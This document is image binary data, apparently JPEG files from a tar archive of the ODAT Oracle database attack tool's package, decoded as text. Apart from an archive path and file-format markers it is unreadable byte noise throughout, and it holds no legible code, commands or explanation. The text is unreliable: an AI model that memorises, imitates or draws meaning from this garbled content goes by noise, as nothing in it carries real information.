,a{spy|KaNjB0UBH܎*3nϠ_PL4aVaM0mӎrDP|&E_A+pn(@$7ŗBOU o\-)AiF^+4|F$Ҹxl $ o|}hɠ7ՠ(wR*¾|Ɗ<)X0@4aQW =B!{m+Gy1 <%P̣7ŇRY^v4yTtxaB->3-J8yUfڄ ѧXIDИ2`t/Rɀ*p!W3ȩOU?{' ulno(  MY;"IWKˋHd,Ky' fNÀ'Tf>NKw佧 |#>hT]FجdzI򝻀u aPtR!!o-"XX KS›@L3g:dvj#i%‚Ⱥ)A[=t@@D$AS3_j5$5mŦ5_.Ğ}i&݇5eL:q$ Y!T XtEW4P\*•P.$eT.9d1% 1"I JcIo<:,EÉdu wb|f&LY"yiiyxοpnf7\tF1Gp4qnZ$f xe}Vu,q U`?mMO,EFQwLJˮd+,$Rym&H!S[PNjdQJy:wpt߱xWJeGuF:E"JɊKaNvZ ?қ<ӯ؋Y Aڮ'< APԎɅo2HxAsWMM3135'sKUm\p*qL`bԇFA(jq*|ДHlÈyIeciDXS_bbFX\S0~$ikW D}F' %.Cd*Ç`Z]07<#]u@iaR|0aEWOo< kfϿ i=JOǿ֏5V6݊ԮOA=<\{sP5M ~~^(D6z2% dCA@TS,} Nd5c@qY3 e{bDxJ MXy5[VmgX4V   hUtGn<߆K/RW֒7zwOptV# bQW2Z 9;FA2Bn\J)G0@C/VlNhiXsV"~{O]SdF{ :Fᶡ z15ѱ La*<+ՙwQ7ݹRmP|nR )'HZ @eʅ}YMf<1ziš_)#tCzP ڻzO/+z"zMR gRwSV`$!Sa' -1lv="r%n+l`Wle-XG?S{=Ox~?S{=Ox~?S{=Ox~?S{=Ox~?S{=Ox~?S{=Ox~?S{=Ox~?Q2Ƴp)bᇕ)z+]x SU@HSϖ/8UzB0?wkvAw Y.J(A ˉ:M˵5槺{ˆQ1"u~8@ LCW*%}עQir"w8? =NXmn=.T:B+(θJ@ϥvHX %RT`[XȰ^y$= ^SBN&*+Mz2$Y Q[FXl]ݘD}dR$ GBWJCLv1 \N`KY޸BN' VX=n#_|%~NjԵ``Dӌv`iZزBbHf$ rY$JƕY1B]h}GF9Nw *IW^q-4+Q$H k+Uja>bLcG6<(9ZH13|JIDIq7ϼ 1 %xa9֦[Ue8jൌ4M2p#ܹR%6&Rmyӗ9ɟ&If"}4bkق+b%v!zT-7ʹKs%ej 3[c# nZ7++mG,AΥ i8Hcm`U4ǃ.+ IXbXM,4DLtsҧueςD |5ci GhY q++b4`T Bt`;A*JR#p@\ ȖsSA,]gG!lY?tRK@ vP$$b4UD+ƭ qգmݞjIFdQ4e~uvOM}DDtQ;#l=;h;#l=h@h<:pm(pP;#l=;h;#leTH5雔jhԨ0pGQBLL (ZL-hΠ*EPn ^5IɘT67+i3oO Ы _hn7VnυO^_O^_O^_O 'Hא0VG4m`?xmx*4_)S,ʷ#hʹw*t,l_m1U |! + Ԑ D(dbP#%K6v,* <$ Nboo&A:2qiMJ Z6nI?)vM[ۈ(A 8jNj+*1r2|KJ2q]-aT*FɐN4J h b Fx <8S}3{9>NN?#m>Ws|^ϓ+|S~|g?+p0[ g84M"%>TqBxD[аq!d&uɸEr2\2*;N:Fȭ i h7 ·2R#Tma F-HLL@aK$-A Sl_1xH<ИJ4K#3$,-얚%QV:Gh˄$X>P" {FE6#8m0XDtURq@@2`v$D҉Vwp_aMh!Eؑ0w[~QPg!uk*?je`Ē=HŨQj%XU> )$ƕ]Ѳ:"PH%gR( k Jʁak J y~ 9 TKS B *qU݂V4F4D&!\"4&k\CBV*jlH F(P* 9ӂ^UM` 9khZKF%PN<+b(vlx*$tm+0+oaA[I-+Chplf \ =dxyr=@S+dׁ6qa@" "#>n3oj h١W6&RxؾjA'>q[uR `> i!Q[0}סdR2, 3%Lt ^,i& +oRįi!- i!\R7[3#1oKۅ*Cb( +"lɇ$g-i i'(,Z B>YC"0McMPopTFPf^F!S"7ILn,Nk!@4UTA@ZZBq5 'N@ZL󶲡閏~IGb#bdzBrx,*+TS3ˎA6 D_Ie͇rV8YuA9 `Hi:2 HB1' u*3EPZS(PIQ Iru$9>){E$ep<0{qJ; t@t2BŋC@B−0u$^JlIODc g+!us뒨5WY B$pg}T#D%wg6h  t6:MP!(P *xhFH^ً$IkP2)u*Ԓȉ+ :o(@4e*VF&F96cCcB$ /fʂփ% xaJ`¼ D+dp@l&r +nHLV:R@ @zL<I4BRup6̛jpwXOl)#<& 08i!M 7 * B_@$Lh4$ k@DLSRBm>w E !P GL XWB `CB)!`^@_\ .P+/LB=8P,Pǔ<3 A>B;k, Aj3o^zf`^APf$(Ԁ6A H%1 jq!ܢh^xCI%M >k1om`eR1Ȍ lpqkX$T5cdq`IL ߐ+i+*̕9<.K+)TSشW2W ç [7Yє1գ?ҍa/FD xt*ۙ}RI*AN,,G2B d+)3vQf`9lf.t+TxS@HOCl-!1AQa @q0Pp`?`6 YXM>&&PՏqH_4` {25Ea袠QMiO,*CH|.Yix3*Tz iXg:Wi,z>Gz>Gz>Gz>=LG}G}G}OܽNyrqkFI"nޖYL2O .fdX'[ @  Dv#v:~4 E.XQ6 *-8s pX˼bl̆AF(FATKX@v y)SũDo\:!r4 6X-#2n(jEqgé' t(U *"b"i3tOtW 4RW۸9(0n-F7w3@Xz)6P14b(UMB5O)q$ltnNJ@`XPXB,uo# 6&tuٞGUIbjQzwkB~@0I,j*}%@F㡐41 *ߩ>@ F]*L`q;ZBme )3"D,BI: ˬ@D؊&DD(":Dd驌s*6LK-0E,~^4zb+`j<ƏO/a  Q4&iE^KS1rs;VձxLjPo=3ͼh6!&p)(^gPd-3e16)TEu,XH!^7<ƏLo=3ͼh6$ 50TY]`4-I3~CX$KlD "8vHx}ܒNsÅ>t<3z/L+Nh4zgxmG dg*k<ƏLrKf aTB9O$.)1E:}6y4zc9p& ` do7pjVj>TPb ٬I]F. 2'*!-+kA43pȵ25(#ȃ0 8-E33l*B`"^o:Pc&mښEm>yh@-\ׁlQGX"Q VB&ҵ[, |WvUJKmEx1(+d \Q! FP@Tf[ahAiD%8DeYuzgq|t".E0-'P'H؉C`ox~_\6@p7,q1bDJ(g)*BLS2Z 4ޡP?aF nE#jI2ckсFHd NtY%f pvP35$z(QbhqC0) \ [$3< I9<9Ӝ* Ǔ]`5K*ncXڧXJrDgb)J 4oj$pw8!< E# Z7r6jL`\B@2@-t H#puTk\Tld|c! \h?SWASB@"0 k4n$ 5a; hα,VDK1᧦x?~x?~x?~fjL0E֘B+B :x|翿GX3 cZ1 8s{p)h>39"IxO?ߣߣߣ}%wF1z=3{s{s{s{rd (P$a*@pL4̶("  / jCnf +45 C .&kU _*A"= hnx}z8uD*q<3{ss{r=@R) >JU[ .9aN+pjUWR:WW]`U}oGYh¡E7ߣߣߣGIT \s{rl`Nx#׺# 2-P Q(*7A29oADM?C[#`)@g %T$dy"O"|\Es~> 3bhFɍ'cDd@DK*u"Lѱ)B YA Ӟ^."=1 @x`VB-h nQ?Q<3Gg D<)tmg8tCMBu $YXFϕ0#a(ڟB%nD4@'ةC, eq>)Nu8u2o@D_z`e/„ZFN5 =Ql߷dxN~z.k!fM+k\N▿d<a l j Ҷ@\q@{5 'qAh'ϑRka64gp4̽d3Cp4f +PhzDH\zU x8ohh`@I6#*-An UKSV J?uB]Ž߱Z$">N rgLf" !s0߆Cm1,)0 [@Sv!"1EpIHmH*۶ACPooA R_z-ճa4h$D®؂"KSi XGR RE/~ NPźzۡWQ{vF` 58SGhL -CܜKk)*̓gF%T8òUy*% tDДCt) ֥vZr$Jv:\tL[-ù턌<=Hm^-sgIH$*%l[!*eʘ/GVE%(S!X+ev)ѻĖW3%8ך&cPC.! 10AQ@Paq`p?Q"/_J*TRJ*?u"T.cT,/ێ<@ |qf )Xݜ2tSA\ DO[?l63=SL>69\cRsޙ{`y~t.w0+\ofyJH!Q+{nl[kЖ5 ŽsrS<an!} s:N# F?.D E҄_?uO_22q5 +~V`*!=kz.OV߿~x>p/V.\r `^w6 N7r˗.)|NaFMY4 ܹr˗.\r˟hPW J GLyvO1#fJIEf6@?G{MMDPDq[Oz_D>jLcYo mOUpNX_jY׉BC--,PRc-W,ݨ["YD;~R¨[Eu8pÇ8uoc(oizÇ8pÇ8=G`#*-qrn 95&T.8}XkEiA>xSsP^.ί"97٬*zUK%p4)T&`;%r[K+MY̒"'9C621#hiӪt7X ^NxЈczA^Pg/]."J\uJCB"M(VitlY~sZ,[u"f?7D~o%i+3cەZjaxJQ|4!X@0>\4/B"!q^hB{ip'zʣd&;a*$@+iW)X4DQ8["!t, Gl{>byA蠨 %nbYX.<@FJCsyU)u:xd5(5L#@6=`ڣ ,)K>PbQ iQg#fe$YHM@%Q@f2v8w/ByY Ċ!ڴѕL6Wj GΌd~0B;t=d0+F!DLrEdI SL".&_tۊB<2kl 5ˈscw6I#y%o1=]g6yL,;ydӍhLt=a$Cʄr3_7E@ƃU'EeI"&DxGj1@U:ń5'i`"Y0!D_bҟgٯS_d9p۪s}9BXކCǻ2l !4V[ Sb\.ʗR{.c]fXǏ< 'cZ%~I8D93[b'fGDo7ť*Qvي]»e@ʄ PAAZQރZjիVPoիVC 3P.K_ jիVZjիV֒\3O+HqPIxs 륓82=8W"֢$!I?r]"% cb͒)\xLjuA`{!$Cǥ2#U5A"?y ˽QH0;_6~R-ת_3NH7tޒ^-eE.ŐqRIK*3Q`ɧS*;B0EtDHP ^Nt$It0 0Y$CF(q((H[xg̣gT(r? :Y^ҩgK@{vi~:yW*!tBʍϟ>|':|ϟXR/9C/1ӧ5[M4/aLm#,GWt%HqkA/m~IӨVE\]6ʠAɵ( =n(*,9b$|\P DQҊлXmcD(Q;loꕈ6k ^x"==!wqjiMwg69->-O$IU('RH U$CN >#f˕ :Vh '%#Yus RA FU'^Rʙw8_fy%DwF.51XX#*!dA sT_A \@k$얹F^&l'dF?"oYٺR$U,( ~!i=Hre6U7*b"^ВIfx$ʱØ<:@PA0>:'_u=\ktpЦChO\ڊ>WOw'q<t{+_XK(ehMٙ &n?00F}\v JXg p)c6D"5B4x0K J\A~rc HS!vS-cqC'Q39t !X# P0V;6㘃Z&1H?M$FQd7˱ON[ϖjގ3ȱfK^,*YR!VhdF[6!dX= > B5'W?4N?-`Z^[O";%# Fĩ"GػDc5t"b[Aӄt!S'HUfݿyZ"Ym"\LZ:鿁VrN`yd!i}9عFgw,,7Y`Z'Pc %tR$!](A\L&Bԓ \Q.%$ثI`βQMD֨p"B]3g ]J dM;*F oNlkмx*嶀 (َu88Mj (oqpXF'aCD6b8#V`DL |d㇪A), ̇,nB7%ܕM%͠`UdsחAB+ip"c'q,.v1\WxNcT¦r*HWXM9 a~5LU": {b5FwЇdh^bCapx݁' ^4Dɉڂ˖X8;AH6"(IXoڰ";xڥ 4ֲu:J(=.J!(RM}fNiO^.8,y vP6 ؇tX ZDt欙j0U:C2Z|v_"S6ACwƣۀ'efVt &bF5G/k3p8۔eH^ ^+k-W|@V53 L vfh!;=}:]~4ZQat܄ \ 628_8a!)_Ǔ5Q\$ӆ˜2ExwN͢8Pb9M6еoz03x &v]֤DQi&&9f03XAG !m!, |UAz"մ}Pq{ IOG\8N.jbpglc_|mQ>@Z2^Hx^O;01-獑\A)l5l>~TΒ )鴵OE+Xj5U$7g&́i\v0|bĄ<&VzS{}e1n.dָiR$QԒyozYdt<("5l0gn=< awlIQڵ "׌,JBl=؆/R<%mG k0^s%{A`,@N28$*Xeq-0*-P{Y GSҟrR֗&KquD> r#{T{|HW^1 +3UX/LZ>-P<~?d3-Ob̋Y uuy%}x;0 M7=MU/',t Mv4x{+<0L%@D@pyc*Ҿzu"}+\s 8L WXIot58^{9 T!o yFc-@ё40N+Uv 1zpWeeܙo!W5D\a$Djɼ+O m* W֐(%O*,w/Z)x(O& 9):@ng mK4׌~sh_2e;;ɛAAXdXӰ-6+tj/GVL^g*tR!{<נ*Ѝ> :>1vEN$1&|SGr /cUjgJC 5J,V+犙H7A t7p(X`-r֦YHQEN)ac>^ f>r7KStMuͫj8 ymӳDI!Nv40#f4z#Ϧ; pџ{m 18E`U%6yAPRoZ e~I=pm7ޑBARy4RfNwb%Q?y/[9BߓrpymmxBIaQC2N'N9p._JDP"ڴÇ+(|3 y&3&6MKcr.a#A"38XXFʨPv)it`$* JZSmK^S"Q?, ,DˉD| (аͳ1}[TMI[9Rḧ́"R 4XS9Y(1S< dj`8 R&-T>*wN(ng>>nPf| \Kە`jB!;kk~vEc`4P@U ʼJQ)=xֱlDf(@AyĘ&,`qP ~EX,œfA(`U^ؐɰ2j )}[; ذ|\u-p :HDn b۸{t& tLM&I#q߬M=r@f7/8Keڒ5tI#!sLanW/އJՁVpSADZf ^yy0.-R_HqDیtۖY4?8+_L5;'MDvь"Oj46[c`Bt2 xx +d3(cʸ39wuHa[$4ZDDvfiyGUCҋ}%0]@r5SD=mpg1+-Zk$Օϴ#Ǐ`8PM.hǟʲ0r#xOzx4S֥<Ns\*͠Zh.{(ǏS2(B&0 q<>"6dX Z5RdkfDxnj%  ZǏ:vޭIm5eOH]Bc; x%&ޜ=PP SID:l.xd:ƽqpɭmEU;wB;یdu6%:Ə,NAXtykάUvh hQsDD.GdtGބp \zf>?\w^Sː'"tsIA$a_;\'SHUl*&H[![6/JYxYZEo1(8Z{4mQ$?o0M]Kѥ3}4i NMg"bE[z{ʄC vRl፾;/fJ.GD 䬮:TQ,3,}F3J^m)$O:5S }Ngf ܤaMrsI{0 t{eIK7 ^Kh#64}0RY?^$>&$K|4Ų۠["sE#V eڌ`Z"Tqt+iEs((0AE:Ou*Qml4aF: lb.V ,@ x [$\Il~[щS1~£۶FGOR.Sv@/(*u|es{ qd=&F%=_.񀽑TW 3~/~$%rRf 'Lq4pD#uA fL*wR18YFE[,c;*TJOyGg5uā^^7NC! 6FQѼJ࿿rMK#Äִh!A@MF@g=z|*pXᆎrM%z%QCմ!sv(RlRvɨu/>eAرoS]M¾Js{#0+KEsHF+ܷ\C$G[d~D:ռT=D ALGĎ5tޤ7bYxñzRt\K!%zPZiW2GOo&X.݋!t>:5D%|7Q};3Eh-.nHFsAf]<VT:>SF2JuXB'Z:T-ҷO ;0`Dp W.SQ0z-jkZEUנЇ|D1/sEy/%67!XA"Ez='fQfMr~h?l @ȋCu%(Yh D& B]&rhpa"@ݳbpDl.xPaH%QZ @퐅K`p@׈B5`cP@bwKbAzͩ469a= TvZ$Bz*mmd(X"@I+݌&y?EYwm` @;v %pTv" *BZ3=FǸ5R^] & JFtX 26FBWטA @9]mPd Ϝ:j dl $6AD<+7fl 8'Hӹ8X$'Ypl pLx~ÆN5:kQq72;; 鍝RWd @a]kVڂ18Tljf%~LT!Y.CckYn)?LLTjjK;&{# g?2ポ5YAe' q.'07nBHޅ2y yұCsOkbJ  4{nɍN4.%>D>ܜْRhV\DӢOh9 M A PUz:S#@ѪfOS9\9DDFՔ*_i@'t1Z\HS6 E:gVPFtal#}0C,]>gԗN$@ATeQ(!"]y{f ,P#f:*1*N:/ol$ʆ+WT|50b\ gp_J1G!F}y2= 42|ҬC蓍Z.-HξcN˦ώ9=N(07rp@jX>Y%K~#싓)C# N,lr' wOC`tM&7{"ƞ<`GuD=K<+ԥSlo6[ab* ѥ!2mmF$2.iw%q_BQX4RDZ"gVv Ktj7?BEgO#nS^GR~ޮ0LBDF䣍r.Oc$ A݇~RkBjE|k#̱2` l ɭ$n i,<ң(~~=A I$@DȘL(|΃ .|vKZD7πMroP* DQ)05UZj /jKApC/LLI,"/ްٙI˦DPk=1pTtS&VXLE2('2EGGFͿｃ<"jOx"2|j_ >jݥ= av7'M`q ԀchͭbXrZ7ԮDm|eyi+y̚hHT rGIWJMjRX'Fɡ .kKZgѥ9UCU"7Y;.䶞-9aඔww|еO'oac*Gǽg vQ= n>J[6/lѵayc#XqE@i]^0yݹeFn(*0J+1Ddq[ dzJR@ DDD 6+`RFIT/(A}3,t'M|kTJpԇy*U=9TІ8G]eTeq41x*"' 4>}<٠(ް.0 Lcs VPrtň%g,}D&W3.Fj/n}㹀[ tg̤YQl.萋Y߃XPaN6Ua -9Q7B]m`X |>Em"*`FgRJ2,آn (%yDťHH#M;1IT7 CxY+\@6\qs -4C.rIG5M8 ,la' 'N\VO}}%ER쏱}:acIa?Rl㠦۱ccjI`J5| dG(N-ۭEn{0)x^Ke٢IEsp4i.>?^5LܯoqGH+#jRUyhL01>A-I;RỊ|sz  P AhM^2h#p7%BPDH"kI-Qu/C4!!6#*]t"l-{r? 兵T%y$G`TpmBl9 ۳9v=3̑Aždl/ [߉O(\$&/45c8DD1l0t1%ឍT׆+ R $,~t B o]1E (PͯD(V"]Iݾu"71CUyQ|ԠP5 VP6 %(S~y6ofU B~BJemķAB Y[iL87F1>߈nB? /ڐ"PQ{JTk췱^D v3, U}[D{ʛ7*= ,%W:otHq'^vT;'p칌Ȋ +k_ SqPm#?|i9hTZ'yRHz5Ck{#Q1Z$ItCȢY5"Qzշj /"Vz&~6;_h ^6XmOu%)%cD s "ƼZ;!Vg{gqVʀ?=GK~#Q:;KCfZos<xhD YJƠ7D ,ɰtln Z޹0?:2=; S9mu{w!:or#+/،^l[V|r z9hf"U$DcD;0WT}_ˆN"90UѪl*F`]AuZOG1{n >ktsXdOI+RD+Ɵ`-B'ƁH4KJ [Ɋh<>mpWrDh ԊG#ҳQN5Z[]鰮ILkt(oBbkč趄+FcQ` L)Yd#^򬽴T|߳PHTk$cWtLw@6Pj{Jj'?ޡZvM^;MX) Lszzf!'rE:V`{D,=jtI8Ix%crqV )X%X΃ v7KӒL$jU7'%u2ﶊr:Nj6b) Da -Nlea65y~0$ܱW()n I '`恖3 DFMt)b ^ӿa`I]ֶ/߅BrP̨Q4s(O6F<8FWDaEyEpRJ8zQ ND__ 9j P D "1 ($(UA[c g-C!ADF'9wҐdc)0!U3@A^N4 xlj|/7}T$l)(= ,NBLA~6Q?htw~볪0-IZ'5I)uP hFQXxlROt;)1@/&f5(XVp}+C8=~HCOC6 `ԳoFt+1,ZU4^£z >^m;H^}Jx_9| n@|:e2kt:GBʧپ|TWA@/!C3:KMd^VVd Y0 :ZE,1? AG{EdixM`pQNWo:r>p=%T}11vy[“:jPʸ2 yOou ~|Jl`9H݈4 "!w`,%{+ vA0<ϓdy &g^[+9q2HA8O]b멯?9Z,/łC1醐,OaCApDmz>|ÅNy xl㬐+ϟ-8B z) _A.3AS {YlzC& ȥ D~6_`$HhTHJЃV vKJ̶Sz W8X6~)FlEϰhSBr&m-`fxMP:%, i5ܾ)`U$N挟PTh|Pj}qk(Ãg5IzysD;BzKt!)Tr娐ҡR/zh;dٳ\ta,^0X'9I`(xF |vW 2˒=BB[K9ztX" iCS` ѦЏ:,Dj$44'\ >w ;i'/3S J䯳6Ԍ&aK ʆb O#QVMϝ(DƃϹz%F"rOA!XR?6P!KG1:f2Vu*_QLZ{r*V"/h>#o[QSϞՍO *=ֈK/+o6ux1i2']!$,NMiG'sg`J`v#XPŚ!"WS|Tc(S?q:yhum`!n>p1xvi<ɜ X .Ȭks/e{c#5G!>JYzڗN_X0>Oi(h\.J\^(x|"tQakސ _n# K(H\`IA%h)c~!4Wԫ6NdiTс5*`/jWԱPy.φ|k2:}Ls0p6{o Kw*PFS VAx0 ЯTmMYo9p>jF2Xb{v5iq15;Qz-˫ sE2mh-\Y^]L[?A 0P)a#&Ҧ'PzJW g|QZގ7 QD/?e&hAXB riu?jJmtĬ89n7,$J3P")֌h7 @CJ#(|kFsuD41" #GGTk* Pӊ9!#HE@/4+4XuL'Ӧ) }8g bE"0 FL]yp y ,_(W( wʟ@4|Nm\~3aoܼY/Šy0[%~@{qЗנ@ YNj*Q]٠nN"0|Q *PZuf3-Bp"W^iH@N`c~kȉ ݁,)b}DF]2!YaYJq<0 U`&\ pP@Mh^iV1322A"h|XwEs/fБO(hDy:%i&3`W%("4Ǡ )pS]ܜ9O/Ok+E^Bfρ;o1yٶW@סy&5ƌ54u.d . Cu4R{/ŗɯ&NȪzE |*Iٲ]1tnx%J @0y-Axa>Z1rp;Nm)~gY>zDM*'9]\c]+CD &Ci0R7l2N 3iF 3 "g^!hߴH.@aECyZ.Ev!@0yՉBAA: MW21mUA?%xk h2\P6>JE8Չ_8\(P9$L0Wl ]<3 ('I+tu~z0q zG_,2eD@^vE|oGҋP)ot11,ij5]JF[McH$DF2"%hPy!S$A͉hVk3eqxc4֜j6If8]"܋8**!:&',4 fz22 ˀb*WO9KܭzU~K{|r -\AnR??ת1TI{ nHf4|6L)۝2:D",Ie >, %*֏ fjJ?q -ۂ?⠤?aNKO^8 fFmFi9pEr8gRmݦ H#6Ng1'A?xo"@@[z' ={T[((Z#?W#_Fh4 %9g_0ʆ@-S tVEpxG"Nf j(Nq|tyADbϔGj2N q4mE$U񣕵XR4hѣF4hѣF4hѣF4hѣF4hѣF4hѣF4hѣFH`骭??odat-5.1.1/pictures/ODAT_main_features_v2.0.jpg000066400000000000000000005761501423220672100212200ustar00rootroot00000000000000JFIFCCc"   h?iFYV(ٍ\DNrX鼮Ӊ2q,OV$P&|mpD~czŚ/k7[6c*|]L.wՌi]pν&$Q:a{VM-;誣2x<ž[m1 ̠f'1I/͏75uޔ3qUo3sOL&+![~U@?uW򻩙~oonĶӿ;u3t15M0\?d'$~lUȟ~Ѯ]!v# FTˮ0gAR|kR.{_Ey~6~]Nߛ/kSV7-J"?Oڽ\%'߼oPNSjA rV{}K}M>EgVǺϩ0P'Q?/ύS;O]-/--/~Oaz}osM>9|^uT[h'+^a_:Y-Z)=}>^|_;d7uzE'&Y ^>Wմ[etݾ;]ҙwH㞢wZ}chjg&i㤣?]1;JWf}k-c|M1SQgw\j{ɱS}=}p @2,A>j|?J)L]>/'⺮W`?Ŝ⺖A{ӽug @ߎ?̭4+M jx43+M G@@ Ol? tzmhʟS["r֤q⺮Wl@둦ThR,@5 eFiyގ' @?5CyKts$u\T} ~P$.,O%2e?kV~g}3ѭx:K?O' ?4}GKjos S'e+zO%Hϡw^_v}O)WMz@ ?P~( '‟~( '/"O?P@O?P@O~N'~ 'Q83O?P@O?tݟ ~( '‟~( '‟zD(~ '~ '~ _|LuVRaYDg/d@c?P@O?P@O'*|?0[uxW32J=ϓ!M?^bdM?罯~]謶LțiVU]ix>Әz\[} ~P'gy2E=]sǬjO.Nf=9{az'yCU5g_vU.#GS.Nwͭ6^ekԼѳvӚKOt3@ ?3@ ?hghgw+[:g3o^].;9퇝O@N?P@OII aSM_ͯR˔ZՐ[@( '‟~( OҀ?Owyم0-<2N9;C @gOy'5º D+2R%B E&*ں-JD+]o֥Vk]HԈWR!]J:iԤK]Hu"Ԉ{- 3 ~P' ތ~7|3o#o|ob}:Ї=b\s>l˳β'6svۛ{^/z_]\H"5ϝ67:>/ږD`eNǏ7g'Vw=_y Y-$GIG7i 3 ~P'=W&Ts>Wƣ2]oGGw49ZrGg 3+iwy_+^G|-=Amp٦t6kG-+·gOb~( '‟~( '‟~( >X@O?P@O?P@O?Pp}? h?.z` 3%O> P@r}`3):hR:vm;v6 j@yҴEƒhyg;s?q]}՟e=Y@ ?3@ ?3@ ?3@ ?3@ +J}.wu=lj·?I(hghghghghghghgg~[?@\?@g38e?~@so&{{E7{{ELTu)KSxIuu U/%^^:qoE&"}&q&"e&"e&"m&"u&oA&oA&oA&oE&)? __4?}wx=$WWW ,_R/gTdc{uOԉuهOxq[$ҫ5+•hs}'6i٤gz ^bcí.+P+x[O}MVhE^^oߞZ?eVW?jfI8:.N8L;nO[M0O$>>u~ ͞wJ{u\?q h3ο3r!f#zy#Mosd{n'M_Qe6>'y;;n/N_;xvGېK)W4΢Ե|;ѣ@J3ݗ8/c˝_Q"> {wW_:çsK_ϝt7+9h9z"Mvߟ~?pwwr7ͯIKKj\^i C:bo7y gxVqB*9c8eSf}Vem^G:>^;x27sO}o'(%<_*jOQÒjVua7i1６֮=)iseG&W<_Go{n't[&f7?@Գ~>hL]wQ-JOSMUvF[vb:y1Ƚ?>/)+}-<tg5-H,#"j­JLTV+,OĝGÈZD:gZW-]GY-V[ᷠZZ:$%D}[E W蓜ZDCҮxҵ?s|V֕YiZ]~#Ht5emZV8ыH{umZV'5ZD;׭+hϛ-_SOtfZDGմYiZ\V"fĭJnTVj,\QI?Fz2-XմYiZߞ_H|5mZVCZD[Og? ^Ǘg? h$#9@g@g?*eL>ʹgM #>|gǼ?ѿp4<:y?PΘ@zЙC' @? 8h ~yވ? h/E 3> 34ånePDZ=hPvbN>4գ? hG p 3PGƬ^˨ϦB '? P(Gg ?KΧ[]?C Gfh!2r@g .yBf޼ 39rA>? $gL|y`=Lg@ĪG4ӯ 3RzY}ϴ87~˺Ln>~ ƇJN4CCx37r"6M p{ЀቦҀg@~?rѣ? h3Ό:4>(M?@g!v8YcaF{М]8^A4}4VJ?t8L:?/t3MP"}=L}Y?'? P(433օFgu9j-ތe΅+;PrѲ_tPt<пx:[4,8 `gMΏр2i#;~V t}4O( g  r8g!+!4iݒ:$>#`NhЊ }_)/CCe߷Ϻ4pB`^Oh\3@@ 3@OsBbSw؀ { Dʞ}?R܎@1 =")~P3??xOп>k/|w"'C=-?,;$('TW4~ߧ5?O_ϸww?ߵHOֿgO}A@/?=O>Ǿ/"R}A'{haog~?lFڟ's=6o+o-?S<ͦI@}AA]6G' @ ~P'#kBI~PϧhvNۿ7?Ow5ig/Y\;?' @+j_ϕ=j'@ 3@O;+$h+t;xIqwjh)y(~ 0m1yy4>G"@N'‟8S~:s'>|@O2ۏh_f~( O( 蜗Z;sst2Gf<(GGP@Lx@<ӣ'? Z(C4?@3 4?i3 4?@3 4?i3 4?@3 ԍ@3 uƀgh jFghƀghK)ghƀg4SՀ^ӋKjR@2~( '‟~( '‟~( '‟~( '‟~( '‟~( g@'‟~( '‟~( '‟~( '‟~( '‟~( '‟~( '‟~( {HZXS@O?P@O?L֛q?P'@?r?:P~j_}$P_;8 0456$3P%&2@`"#17!'&W}ᶬr&7\M"nuțDr&7\M"nuțDr&7\M"nuțDr&7\M"nuțDr&7\M"nuțDr&7\M"nuțDr&7\M"nuț8u!B;77 [ɬэcppL"S[zdJIИ9Llk8I$ 2PN?c#􎘮LMAdXdSX8_ex6Ao0BM B8MB͋6d2[?˯bgh rh]dٶf72v!"a]`:4d3$oIlus80,_gB\!0;bwg!Ҹy%g_{LlJ64F2r)'\ޫv(bv(bv(bv(bv(bv(|ѽ5i]?J oT,elMI0[)h8})D|݋ m3c0."ó8l[Kcr8 b8BI.6$um8m 4_& ؕFر0)$Ñ /Yer |c(]8Zn@QLK#bs @P' v+5f;*ɤsN5q ϳnPrË1$:*2ƹ *9K ܈' dk'_g7Bj3'Pxq #觜wqdA5t;>1RɁFef9Ox\ۓf◍Ӷ>GH=3s>Vp<p<p<p<p<p<p<p<p<p<p<p<p<p<pGW.-om25->^f%rAb\"6џU.Zn ݸ<+[(e[(e[(eP6$SbT-LDI:1"zvvf6!Űr,d 8ݽ@4o+D>WjAZ`W+B})]OexnN, S[R{H.s[WӉ.NU<GKI|ړGb\ft_|^Z\)[ dD"m7:,? {`߂@Zf+dKeX&,i1>*be픐9"}H:ݪm 9vq' Ɠ|`ƅƗ `&8 z;xu]t[;anbY&nݠJ* &RxNGH;lbkj?Vޜ}8DEG]u,1DZHuZZ0֖;8+ Њsl#.Lw*Bܨ[ rP}{ rnT-ʅPAm\1XF7ƦE#]X%ɓ%^iFԥc2\WӶ>GZFUƭQeQ)'l|_w2 J* &RxNDȜƇSL -KXlhFc,Pjs ;$Syx%M%J%ڇN-4a`r!$JI#ʭ--B-B-B-B-B+d5PU{w*ԝI=;cw"biәw1nIlIlIlŃQӶ>Gsx-ڞlIlIlIlIlIlIlIl䐱;9%[9%[9%[9%[9%[9%[9%[9%[9%[9$0u#lal5ֶZk[ kal5z7K44ky.k=%-խVZ߫[k~oխVZ߫[k~oխVZ߫[k~oխVZ߫[k~oխVZ߫[k~oխVZ߫[k~Z=n?Cj/7Kx$Kx$Kx$Kx$Kx$Kx$Kx$J--, - - - - - - - - - !i%gq_NЅ7޶moNekfo^vcW<ÙLZ&l#$eB.ȴ~2+#mhƆ-Cjަm y9%.NIrrK\'$9%.NIU)#E,x+]B@2+6&ūcFAh0,Kxٚző6bс/FK0E]cl7d=WMEi%}ĊM>ibձLGLɩ|hsvh;3Qzˆ/C鰹 s򳇡eV^ː= N>@"};KE.JUh fiЙ>+'!Q1ctĂqexߡ*u),> ݏٚCϾe]me]me]me]me]me]me]me;˭˭˭˭˭˭˭˭˭ˡc?wo> xߩ?@}+̹m+ҹm+ҹm+ҹm+҄Z5Om+ҹm+ҹm+ҹm+Yh"rW-rW-rW-rW- 1d%V,崮[J崮[J崮[J崫R,Zvi\i\i\iWI-W>z]:vՃzklGK ^HuMZjQdȓCq,nS<5W3۵Et]E}1T}Dr\ʢ"$џ,y$(A3\f=|bG Zl5s(`hɆKǘ]T^K/7`険}$CO>z_n؉ƶi fޖmtQP.Xt& 'm[ճ>Y0.ZOmCY=Hϱ=^o7.(lQwzAj\BCj" KCDۋI ?S~=+#zEyٟ,yBE xNT{Un2ޑoBhpVn#7W p& [izźmi.2"V[_w5Ehi«pyUi(7O)_NL&;\hDW"ƈ4Eq(8J9}"ƈ4Eq+\hvi,Í\hDW"ƈ4Eq(0ES~1WhDW"ƈ4Eq*oDW"ƈ4Eq+\hfӯ> xߩ?@}oF+b+b+b+b+b+b+b+b+b+b+v/WVulWVulWVulWVulWVulWVulWVulWVulWVulWVulWVulWVulWVuZM.~g~3Ͽe?@}vòف !M!c>ԅ~5rɹ#{{>bzL~2tc[Xb1r܉VIYq'j)c)1ꩨfDdq ߼02{UJ+Y zbn$3Ͽ˦x#!&hѬT1c %h/dƜ,nӣ>Jx,SfPqC}"h)sx4S 7Q 